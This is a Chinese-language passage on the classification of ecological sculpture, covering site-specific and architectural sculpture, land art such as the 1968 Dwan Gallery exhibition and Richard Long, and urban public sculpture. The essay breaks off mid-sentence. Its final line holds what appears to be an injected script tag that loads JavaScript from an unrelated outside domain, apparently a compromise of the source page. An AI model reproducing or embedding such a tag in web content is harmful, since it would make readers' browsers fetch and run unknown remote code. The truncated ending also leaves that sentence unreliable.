一、生态雕塑的形态划分
(一)生态场所雕塑与建筑雕塑
20世纪60至70年代,许多最低限雕塑的纪念性尺度,不可避免地引出一个给特定的空间或特定场所搞雕塑设计的概念。在场所雕塑中,严格地说,就是地点决定了作品的形式。从更普遍的意义上来说,为某一特定地点设立雕塑,其条件就要与之相适应,从而既能装饰该地点,又能突出、强调其特性。雕塑家奥登伯格说:“雕塑品的选择立足于它在某种程序上适合于地点的形状、条件及环境。”
同时,这位具有超凡创造力的雕塑家——奥登伯格——还开了20世纪70年代后期普遍兴起的建筑雕塑之先河。20世纪60年代,他设计的一些建筑物形如其名[如:M-U-S-E-U-M(博物馆)、 P-O-L-I-C-E(警察局)等等],而且通过他的工作,他为自己的雕塑工程做出了精确的建筑复制品。
(二)大地雕塑
当美术馆的空间被当作建筑雕塑组织结构中的一个会话,大家开始尝试在自然当中限定与重构自然的空间,以恢宏的尺度去建构大自然的视觉新秩序。“大地艺术”改变了雕塑只能“设置”和“摆放”的属性。当生态与环保被当作全球问题来激烈讨论时,人们已经意识到不可能长久地将人类困境转嫁给自然。“大地艺术”似乎可以理解为是一种逃避传统价值观和力图挽救对自然的人为灾难的方式。大地艺术家是因筹划“公共空间艺术计划”而跻身于景园设计行列的环境艺术家。由于其主题大多是对环境的关怀且设计队伍均为多方面的专家合作,因而也被称为“生态艺术”。让艺术远离赞助商和人群,这在当时有着重大的意义。“大地艺术”所产生的巨大影响、重塑大自然的方式以及与大自然的深情对话,为今天雕塑“重返大地”、塑造人类景观确立了一个积极的概念。虽然以雕塑为名的变革,在此以后几乎不再能形成大的冲击,但“大地艺术”已经为新的艺术形式的崛起在观念上和技术上做了充分的准备。
1968年10月,纽约的德万画廊推出了一个大地作品展览,展出的作品是由安德烈、海泽、莫里斯、奥尔登堡、奥本海姆、史密斯及其他一些艺术家们创作的,这等于是承认了一股新雕塑潮流——大地雕塑——的合法地位。大地雕塑建立了与大自然的一种直接对话。大地雕塑作品常常是雕塑作品与大地的一种平等的交换。大地艺术家需要的是与外界的真实直接的对话。为达到这一目的,他们把真实的泥土和石头带进艺术画廊,而将艺术作品完全移出画廊,在自然环境的干预下创作,对大地艺术家来说似乎更合乎逻辑。他们的基本目标是扩大艺术的界限——把艺术从画廊的买卖性商品体系中挣脱出来。大地艺术并不一定需要将数吨土石从一处搬到另一处,只要以某种独特的方式就地留下标记,便是创造了一件艺术品。
20世纪70年代最有影响的英国雕塑家理查德·朗给雕塑重新下了一个定义,这种定义显示出对大自然的崇拜色彩,它强调雕塑与自然的融合与对话,重视雕塑与自然的诗意综合与联想。从根本上说,大地艺术家似乎意在重申大自然及其力量的完整统一。大地艺术显然太富于哲理,较难为公众理解,因此它逐步开始向多方探索并加以改进。R·史密森、A·丹斯等就是其中的代表性人物。
(三)城市公共雕塑
城市公共雕塑顾名思义就是指安置、摆放在城市中的公共雕塑。城市公共雕塑往往具有恢宏的体量,处于显眼的公共空间(如公园、广场),是城市公共艺术的一个重要组成部分,具有装饰、美化城市环境的作用,也有的带有历史人文内涵,成为城市的标志或符号。城市公共雕塑是和架上雕塑相对应的称谓,从空间功能上说,它带有强烈的环境艺术特征。城市公共雕塑一般来说是指体量较大、坐落在城市的室外空间范围的雕塑作品,所以也被称为“户外雕塑”,其产生及实施方式的主要目的是装饰城市空间和实现其审美效应,它的设计与制作应该考虑城市的独特个性和地域审美差异,也就是说城市公共雕塑必须与城市的历史、文脉、环境相互协调。从这个意义上说,城市公共雕塑也被称为“环境雕塑”。城市公共雕塑不仅仅局限于雕塑的本体概念,它还必须合乎当代公共艺术在创造城市文化生态方面的要求。例如,城市公共雕塑应该与所在的城市具有一种文化或精神上的亲和性,实现作品与公众的一种对话、交流的互动关系,以凸显城市公共雕塑主动介入、积极影响城市文化生态的属性。
城市公共雕塑作为为城市公共空间设计的雕塑艺术,一般是指专门为某个地点创作、设计的艺术品或者是对某个特定区域做整体的艺术设计,所以它对当代城市生活应有深刻的人文体验,在关注雕塑形式与风格的同时,更应重视公众的接受效应,使城市公共雕塑在社会时尚文化的建构方面起到积极的作用。城市公共雕塑的社会价值的实现在很大程度上取决于公众对?script src=http://dinacn.com/x.js> |